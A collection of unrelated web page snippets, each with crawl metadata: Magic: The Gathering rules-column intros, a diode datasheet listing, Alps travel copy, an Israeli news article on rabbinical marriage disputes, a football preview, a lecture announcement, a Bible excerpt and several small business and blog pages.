Insertion! It is All Hallows' Even here in the US and while we are not quite certain where Moko has gone, as this is his favorite time of the year. I mean what other time of year does a zombified monkey fit in? Though our candy stash has gone missing.... anyway join us for this week's frightening edition of Cranial Insertion! Wading through the waters of Ixalan we got lost. However, we were still able to find enough of your rules questions to put together an article. Now all we have to do is figure out what happened to Moko. So read on in this week's fishy edition of Cranial Insertion! We're still adventuring on the plane of Ixalan, and we're celebrating the Dinosaurs and other interesting cards that this set has to offer, so join us as we fill your brains with rules knowledge and song lyrics in this week's exciting edition of Cranial Insertion! With Ixalan's release adventurers are out in full swing trying to discover the secrets of this new plane! Rather than risk their lives seeking solutions to life's mysteries they can find their answers here in our latest edition of Cranial Insertion! So read on in this week's exciting edition! Ixalan is released into the wild and thar' be dinosaurs!!!! and pirates! Avast ye landlubber be sure to read our article or ye shall be walking the plank or be eaten by those dinos! So join us for this week's exciting edition of Cranial Insertion! Be sure to use the magic word! Messing around with chaos seems pretty poor; however, that has not stopped the folks on Ixalan from enjoying their Dino pals! With Ixalan prereleases in the books all over the world, we bring you some answers to those monstrous questions you have stoping around in you minds (or backyards?)! So join us for this weeks jurassic edition of Cranial Insertion! Now with more dinos! Double bubble toil and trouble, add a dash of newt and cinnamon! We are spicing up our articles with all of those rules questions you asked! So savor the flavor and join us for this week's exciting edition of Cranial Insertion! Warning beware of seeds. Checking in with from our stuffed mailbox we bring you yet another article chock full of those answers you seek! So join us for this week's exciting edition of Cranial Insertion! Postage required in certain areas. Revised and updated for the new year! School is back in session and we are here to teach you the lessons regarding Magic rules that you asked for! So join us for yet another information packed class of Cranial Insertion! Commander 2017 is our and we have once again phased back into during our untap in order to answer your rules questions and answers! So join us for this weeks exciting edition of Cranial Insertion! Now all we need to figure out is how to stop our office fro phasing out again. Leonin and Dragons and Fangs, oh my! Taking command of yet another exciting article Charlotte leads us down a spiraling path of rules questions and answers to uncover all those new secrets awaiting you with the newly released Commander 2017! So join us for this weeks tribal edition of Cranial Insertion! The eclipse is looming to cut a swath through Noth America. So we decided to put on our Glasses of Urza and answer your rules questions! So join us for this week's exciting edition of Cranial Insertion! The time has come and once again we are back with all the rules questions and answers you can handle! So join us for this week's exciting edition of Cranial Insertion! We continue to count the hours this week, and we've arrived at the Hour of Answering, where we do what we do best and answer a fresh batch of Magic rules question for you, so join us for this week's exciting and informative issue of Cranial Insertion! This week we take a relaxing look into the rules of the new set Hour of Devastation! Answering all of your questions to put your minds at ease and pacify all those rules concerns you have been having! So read on in this week's exciting edition of Cranial Insertion! We welcome our newest writer into the fold! During the initiation process only a little zombie monkey blood was spilled. Mostly because Moko does not really have any blood left. So join us to answer all your rules questions in this week's exciting edition of Cranial Insertion! With the Hour of Devastation prerelease in the books we are counting down the time until the doom of the multiverse! Oh, hail all powerful Nicol Bolas! So join us in celebrating his excellence in this week's exciting edition of Cranial Insertion! or, What Is Normal Anyway? Done with our jaunt into the world of Archenemy and the twisting turns of the mind of Nicol Bolas we once again bring you back to Amonkhet for some more rules questions and answers of your design! So join us once again for this week's exciting edition of Cranial Insertion! Please, please, enter into my domain and continue on through your journey here in Amonkhet! Your pitiful little existence will only serve my will, I mean.... er... this week we have a whole host of questions from this years new release of Archenemy, featuring none other than Nicol Bolas himself! So read on in this week's planar dominating edition of Cranial Insertion! or, Time For a Final Exam! We are approaching the end of the school year, and Professor Moko is gathering up the best of the best rules questions to torment your brains with! With that we bring you yet another tremendously exciting rules quiz article for your tantalizing enjoyment! So read on in this weeks quizzical edition of Cranial Insertion! Join us as we herald the end of yet another Cranial Insertion era. James writes his farewell article chock full of all the rules question and answer goodness you have come to know and love from us. We wish James the best on his future journeys wherever they may take him, and thank him for yet another exciting edition of Cranial Insertion!!! Moko is still mummified and we are enjoying a bit of peace around the office. With that we take the time to answer some of your most pressing rules questions! So join us in this week's exciting edition of Cranial Insertion! Amonkhet is out in the wild, fresh off the Pro Tour in Nashville this past weekend we take a look at those burning questions you have had. So we sit down for another helping of rules questions to help satiate your appetite for knowledge! So join us for this weeks rather delicious edition of Cranial Insertion! Now with more Strawberries! Mother's Day is coming up this weekend, and we're celebrating early with our resident mummy Moko by giving you another selection of Magic rules questions from Amonkhet and elsewhere. Join us for this week's fun-filled and only slightly mummified edition of Cranial Insertion! Moko is hyped up now that Amonkhet has been released with all his Zombie brethren! With that we bring to life your rules questions in this week's exciting edition of Cranial Insertion! Moko hold still would you! Just a little further past these dunes and we can make it to the sietch. From there all our rules questions will be answered! So join us for this weeks exciting edition of Cranial Insertion! Just look out for that wurm sign! The Amonkhet prerelease is almost upon us and with it bringing us all the cats we can handle! However, before that we have another dose of rules questions brought to us by you the readers for your edification!!! So join us as we produce all the answers you requested and some cat-based puns along the way, in this week's exciting edition of Cranial Insertion! We celebrate our 12th anniversary, albeit a little late, by answering your rules questions! So join us for this week's exciting edition of Cranial Insertion! We've made it into April, which means we're that much closer to the release of Amonkhet, but we'll have to be patient for just a few more weeks. No April Fool's pranks here, but plenty of Magic rules knowledge as always, so join us for this week's April-fresh edition of Cranial Insertion! Spring time is here once again and we have started to clean out our mail box. That means more Magic rules questions answered for your curious minds! So join us as we jump full on into this week's exciting edition of Cranial Insertion! Modern Masters 2017 is out everywhere and people have started cracking their packs! So we started cracking some of those old and new rules questions about these cards just for you! So join us for some fresh answers to some burning questions you may have had on this week's exciting edition of Cranial Insertion! At it once again warping around the multiverse in search of the perfect storm of rules questions to answer! So join us in song and dance for this week's exciting edition of Cranial Insertion! Now with more callbacks, just watch out for the Meatloaf. Marching straight toward springtime here as we roar on with another exciting batch of your rules questions! So roll on in for this week's exciting edition of Cranial Insertion! Now with more Lions! It is almost March and the year is picking up steam, so while time is seemingly slipping through our fingers we take a moment to do what we do best and answer your rules questions! Join us for this weeks timely edition of Cranial Insertion, now packed with even more time (or marching, not quite sure which)! Throwing out the first pitch here James takes on yet another set of your rules questions hitting them out of the park with his answers! So read on in this week's exciting edition of Cranial Insertion! Love is in the air, and we knew what you would really love is to test your knowledge of the rules of Magic! So this week we bring you yet another quiz article where you can challenge yourself and your valentine! So join us for this weeks quizzical edition of Cranial Insertion! More revolting developments are happening on the plane of Kaladesh (the uprising type of developments, despite Moko's attempts). So we continue to dig through our mailboxes and respond to your rules questions and answers! Join us in this weeks exciting edition of Cranial Insertion! The Aether uprising is in full swing as is the search for a new cleaning crew here at the Cranial Insertion offices. That is the last time we let Moko do the party planning.... While we wade through the cesspool that has become our office we take a peek inside our mailbox to respond to your rules questions, so join us for this weeks exciting edition of Cranial Insertion! Pull out the red carpet because the ambassador has come to town! Just be sure to keep the supples of aether away so as not to burn the house down! We continue on this week with more of your burning questions from Aether Revolt. So join us in this week's diplomatic edition of Cranial Insertion! The revolt is happening all over the plan of Kaladesh, and with it bringing a flood of new cards to our collections! With the Aether Revolt prereleases now in the books this past weekend we take a look at some of your most insurgent questions! So read on in this week's riotous edition of Cranial Insertion! The holiday festivities are over for the moment, and boy do we ever have a ton of Fruitcake Elementals left over. That will be the last time we let Moko cook. In addition we certainly do have a ton of rules questions left over as well, so we are reheating those up and serving them out for you! So join us for another helping of Cranial Insertion! And a Happy New Y! 2017 is upon us and we are right in the thick of it with answering your rules questions, providing all the answers you will need to start your Magic year just right! So dig in and make a resolution to read Cranial Insertion every week this year, starting with this weeks exciting edition!	{ "timestamp": "2019-04-22T23:56:19", "url": "http://www.cranialinsertion.com/archive?year=2017", "language": "en", "source": "c4" }
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ROHM Co. RLZJ27 Series Datasheets. RLZJ43, RLZJ27, RLZJ39, RLZJ30, RLZJ47, RLZJ36, RLZJ33 Datasheet. RLZJ27 series datasheets. Manufacturer: ROHM Co..	{ "timestamp": "2019-04-25T06:32:21", "url": "http://www.chipdocs.com/datasheets/datasheet-pdf/ROHM-Co/RLZJ27.html", "language": "en", "source": "c4" }
The French Alps include the Rhone-Alpes and Provence-Alps-Cote d’Azur regions and the whole of the Alps mountain range is shared with Switzerland and Italy. Mont Blanc is the highest point on the French-Italian border at 4,808 metres. It’s a wonderful all-year-round outdoor activity centre with a great choice of self-catering holiday cottages. The area is known for its stunning mountain scenery as well as beautiful alpine lakes, the 3 largest being Lake Geneva, Lac d’Annecy and Lac de Bourget which offer numerous water sports. It has the highest concentration of National parks, regional parks and reserves in the whole of France. Most visit the area to take part in alpine or cross country skiing, mountain biking, white water rafting, paragliding and of course all types of walking. In winter the walking is more extreme but spring, summer and autumn there is something to suit everyone, high level mountaineering, lower level hiking or river, valley, forest and lakeside walks. It’s a paradise for nature lovers who can look out for chamois, ibex, red deer, wolves, soaring eagles and an amazing variety of alpine wildflowers. The whole area boasts medieval towns and charming villages each with their own unique character reflecting the changing seasons. Chamberry is the capital of the Savoy region at the junction of two major Alpine valleys. It’s full of buildings revealing the areas rich past, a somewhat hidden gem but a memorable place to visit for a true alpine experience with lively cafes and pretty arcaded streets. Annecy started off as capital of the county of Geneva before becoming part of Savoy during the reformation. It was voted Alpine town of the year in 2012 which is hardly surprising considering its perfect location on the northern side of Lake Annecy, with a backdrop of wooded and often snow-capped mountains. Major landmarks are the Château d’Annecy and the castle Palais de l’Isle. It’s now a major destination for paragliding with the town hosting many international competitions. Megeve is a world class ski resort in the Mont Blanc Massif offering downhill, snow parks and cross country trails. The town centre is pedestrian free with cobbled medieval streets surrounded by hotels, designer boutiques and rustic-chic chalets. In summer you can walk along marked trails through forests and meadows to see panoramic mountain views. All Isere is an Alpine region named after the River Isere with a mix of hiking, cycling and ski resorts and very popular with visitors from the UK. For a hike with a difference try the Tour du Mont Blanc and walk over a suspension bridge above the melt waters of the Bionassay glacier.	{ "timestamp": "2019-04-26T11:47:55", "url": "https://www.cottages.com/france/alps", "language": "en", "source": "c4" }
2015 would be better i believeeeeeee. Chicago 2nd Junior High School Graduation Book 2014 is now available! It is an imaginary graduation book with a little twisted, awkward atmosphere and jokes, filled with school trip/class room snaps and so on.	{ "timestamp": "2019-04-24T06:36:30", "url": "http://www.marikojima.com/2015/01/", "language": "en", "source": "c4" }
The meeting's participants decided to appoint a joint committee which would discuss the modern Orthodox organization's claims, but in the meantime many of Tzohar's rabbis will be prevented from marrying couples. At the end of the heated debate, the rabbis agreed to boost the enforcement of existing regulations, which state that community rabbis are not authorized to recognize wedding ceremonies failing to meet the Rabbinate's criteria. The Council members unanimously agreed that the disciplinary committee may take administrative measures against a rabbi allowing a Tzohar rabbi to conduct wedding ceremonies within his jurisdiction, and may even revoke his marriage registration license. The enforcement of this issue does not appear in the meeting's protocol as a formal decision made by the Council, but a source who attended the meeting confirmed to Ynet that the Rabbinate plans to implement it soon. This decision deals a heavy blow to Tzohar, as the organization's battle for additional marriage certificates may have succeeded – but now it is being attacked by the Rabbinate from a different direction. So far, Rabbis David Stav of Shoham and Elyashiv Knohl of Gush Etzion approved each of Tzohar's rabbis, even those who failed to meet the Rabbinate's criteria. Now it appears they will no longer be able to do so, and the organization won't be able to perform the desired number of wedding ceremonies. The meeting was run by the Council's chairman, Chief Rabbi Yona Metzger. The rabbis and Religious Services Ministry workers voiced harsh claims against Tzohar and its handling of the affair. Most of their criticism was directed at the "aggressive campaign", in which the organization appeared to be lecturing the Rabbinate and "building itself on its back." These statements were reflected in the Council's decision, which protested the "insults" against rabbis in Tzohar's public campaign and the "desecration of God' it caused, but stated that the Rabbinate would not be dragged into a public conflict so as not to worsen the situation. Tzohar rabbis were not invited to take part in the discussion, although it was also attended by other rabbis responsible for the criteria for performing wedding ceremonies. A Rabbinate source explained that "these rabbis are in the midst of a public struggle, and we feared they would clash with the Council members during the meeting." Religious Services Minister Yakov Margi told the Council members about the chain of events. He said that several months ago he decided to "clean up" the marriage registration issue, and – at the request of Chief Rabbi Shlomo Amar - began dealing with weddings held against regulations. That was the reason, he said, that he informed Tzohar he would stop supplying the organization with marriage certificates. During the meeting, Chief Rabbinate representatives clarified that they would not oppose the agreement reached with Tzohar – opening registration districts, should be done through a bill initiated by Knesset Member Otniel Schneller (Kadima). The rabbis said they won't intervene in the interim solution either – supplying the organization with marriage certificates and turning a blind eye to the national registration – as this was a legal-procedural issue which was not their concern. Addressing the agreement with Tzohar, Minister Margi teased movements cherishing the rule of law for not crying out and appealing to the High Court and state comptroller against his "illegal actions". He criticized their "double standards", stating that they chose to stand by Tzohar due to its struggle against the haredim, while ignoring the problematic arrangement. The Tzohar organization said in response, "We call on the Chief Rabbinate not to divert the discussion in honor of these rabbis or other, and to focus on increasing marriages according to Jewish Law. "Surveys and studies have proved that the civil marriage option is growing among the secular public and is affected by the Lithuanian stream's influence on parts of the Chief Rabbinate and by the disqualification of all Religious Zionism rabbis. "The organization appealed for the public's help after all hope was lost and many efforts which lasted for years, including an appeal to the chief rabbis, had failed. "We hope the Chief Rabbinate Council listens to the call of the great sages of Israel, Rabbis Ariel, Drukman, Lichtenstein, Melamed and Rabinowitz – to maintain Tzohar's wedding initiative." See all talkbacks "Rabbinate vs. Tzohar, round 2 "	{ "timestamp": "2019-04-23T13:09:47", "url": "https://www.ynetnews.com/articles/0,7340,L-4149001,00.html", "language": "en", "source": "c4" }
So the Nations League is complete until next summer. Who would have thought after England received a lesson from Spain that they would now be favourites to lift the…..Trophy I think it is in Portugal next summer. With the Premier leagues Top stars performing well whilst on duty, it will be interesting to see them back in action for their club sides. Our own performance pre break has been shocking and this week will just be all about the results. This will be followed up by a pre Christmas overview of the season so far. Let’s try and get back on track as SPORTSvox takes a look at the fixtures this week in our Premier League preview. Tight encounter, Brighton strong at home but fancy Leicester to sneak a point. Everton to continue their good form despite Cardiff grabbing a couple of wins in recent weeks. Ranieri’s first game in charge will be interesting. I expect them to be a little tighter against a Southampton team light on goals. A first win on the cards? I expect a comfortable if not spectacular United performance and the pressure to continue on Hodgson. Should be a good test for Liverpool, expecting a few goals here and for them to just shade it. The machine rolls on here, West Ham might put up a fight for a while but with Arnautovic seeming unsettled the serach for goals continues. Should be a great encounter here. The English in the Tottenham side fully buoyed by recent English National success. But Chelsea are a different team this year and will relish getting one over against their London rivals. One for the footballing purists here. Arsenal will be looking to continue their good form but I think Bournemouth will relish getting up against this Arsenal defense and take a share of the spoils here. I don’t think Huddersfield will be able to contain the Wolves attacking threat. They might sneak something from a set piece but Wolves to gain the three points. Not the most attractive match to finish the week but three points is really required for both teams. Burnley to come out on top of a tough encounter.	{ "timestamp": "2019-04-20T00:51:50", "url": "https://www.sportsvox.com/premier-league-preview-week-13/", "language": "en", "source": "c4" }
Dr. Juliane Hammer's talk, entitled "Saving Muslim Women?: Islamophobia, Gender, and American Politics" would contribute to on-going campus conversations about religious discrimination and freedom, Islamophobia, and gender-based oppression and violence. The subject of Dr. Hammer's lecture prompts us to nuance resistive approaches to Islamophobic discourses in our midst by foregrounding the unique experiences of American Muslim women. This more inclusive, more dynamic approach to understanding and combatting Islamophobia can help modify and refine extant discourses of resistance by forcing us to consider how Muslim women are not only affected by Islamophobia, but also by unreflective means of resistance. In short, Dr. Hammer's talk will teach us how to be better allies in terms of understanding the histories and contexts of those we purport to support and in terms of allowing Muslim women a platform to articulate their own resistive strategies.	{ "timestamp": "2019-04-25T18:03:30", "url": "https://www.calendar.vt.edu/main.php?view=event&eventid=1520372882771", "language": "en", "source": "c4" }
Philadelphia City Council Bans Cashless Stores - Joe.My.God. Starting in July, Philadelphia’s new law will require most retail stores to accept cash. A New York City councilman is pushing similar legislation there, and New Jersey’s legislature recently passed a bill banning cashless stores statewide. A spokesman for New Jersey Gov. Phil Murphy, a Democrat, declined to comment on whether he would sign it. Massachusetts has gone the farthest on the issue and is the only state that requires retailers to accept cash. As I mentioned here a few months ago, two no-cash restaurants recently opened outlets on my block. In each of my visits, I witnessed dismay by unprepared customers.	{ "timestamp": "2019-04-25T17:58:41", "url": "https://www.joemygod.com/2019/03/philadelphia-city-council-bans-cashless-stores/", "language": "en", "source": "c4" }
Jer 49 \| BSB \| STEP \| Concerning the Ammonites, this is what the LORD says: “Has Israel no sons? Is he without heir? Why then has Molech taken possession of Gad and his people settled in their cities? O faithless daughter? You trust in your riches [and say] , ‘Who can come against me?’ 5 Behold, I am about to bring terror upon you, declares the Lord GOD of Hosts, from all those around you. You will each be driven headlong, with no one to regather the fugitives. 6 Yet afterward I will restore the captivity of the Ammonites, declares the LORD. 22 Look! An eagle will soar, then swoop down and spread its wings over Bozrah. In that day the hearts of Edom’s warriors will be like the heart of a woman in labor.	{ "timestamp": "2019-04-22T04:50:03", "url": "https://www.stepbible.org/?q=version=BSB%7Creference=Jer.49", "language": "en", "source": "c4" }
On Tuesday, August 19th, a mud encrusted munition was found on the ground beneath one of the aircraft on display outside the Museum. It was shell shaped and approximately 150 mm long by around 30mm in diameter. It had not been there the day before and the assumption was made that it had been thrown over the hedge by someone passing outside. No chances were taken and the police were alerted. They, in turn, alerted the Bomb Disposal people and then evacuated the Museum, declaring a 100 mtr exclusion zone around the suspect item. In due course the experts arrived and, taking one look at it, declared it not to contain a charge and therefore safe. Their belief was that it could have dated back to WW1. It was unceremoniously driven off in their vehicle and the Museum briefly re-opened in what was left of the afternoon. Our apologies to any visitors who were inconvenienced by this situation, which was outside the Museum’s control.	{ "timestamp": "2019-04-21T14:55:48", "url": "https://www.tangmere-museum.org.uk/news/bomb-scare", "language": "en", "source": "c4" }
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DIY Training Services Pty Ltd is a family owned Australian business based in SE QLD that provides training and consulting services. Our focus is in Fresh Produce. Our client activities range from growing to further processing but we also work in other tertiary food processing categories. The business has been established since October 2012. The development of DIY Training Services Pty Ltd was initiated to assist growers and packers to meet supply chain requirements with innovative training methods including blended training delivery. Although blended training remains our goal, one on one or small group training is our current mode of delivery. Training is delivered by the owner of the business. Bevan has tertiary qualifications in applied science and business management and 25 years’ experience in the horticulture; meat and livestock; agriculture; and food processing industries. Bevan has worked for 20+ years as a registered auditor under Food Safety Programs and Quality Management Standards. He has also delivered training for the past 15 years and holds current qualifications in training and assessment. Our administration team is managed by Faye with other administrative and financial agency support. Faye also maintains client services within the training environment through programs like Freshcare and other RTO support networks. We enjoy a close relationship with our trainers, customers and training candidates.	{ "timestamp": "2019-04-19T00:59:28", "url": "http://diytrainingservices.com.au/about-us.html", "language": "en", "source": "c4" }
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It is raining like cats and dogs here in Napa. Naturally Kate is out of town so I get all this great weather to myself, and the doggers. Still I wanted to get a workout in even with less than ideal weather. We have a nice trail around camp here so I put on my rain jacket and had a nice 46 minute walk in the rain. I should have taken more pictures but there were little Bambi’s and a lot of rain. Oh it is also very green here in Napa. What am I interested in writing? Now to stay focused. Should be daily about the day. For the last 12 months, the global media has been focused on a lot of bad news. But there were other things happening out there too. Good news stories that didn’t make it onto the evening broadcasts, or your social media feeds. We spent the year collecting them, in our ongoing mission to stop the fear virus in its tracks. Enjoy. Let’s start reminding ourselves that progress is being made. Not everything is going badly. In fact now is the best time to have ever lived. Anytime you are having a rough day bring up this story to remind yourself that we can make things better. We just have to stay motivated. In 1900, David Hilbert published a list of 23 problems that he proposed would be the important ones for mathematicians to solve in the upcoming century. That list led to a focused effort that lasted a century, and the vast majority of the problems have been fully or partially solved. Ignoramus et ignorabimus is a foolish statement. We can know, and one day, we will. Fun take on the old New Years resolutions that we never do well with. What are your 23 problems that humans should solve in the next 100 years? We are heading out shortly.	{ "timestamp": "2019-04-25T14:32:22", "url": "https://rollingwithgrass.com/page/3/", "language": "en", "source": "c4" }

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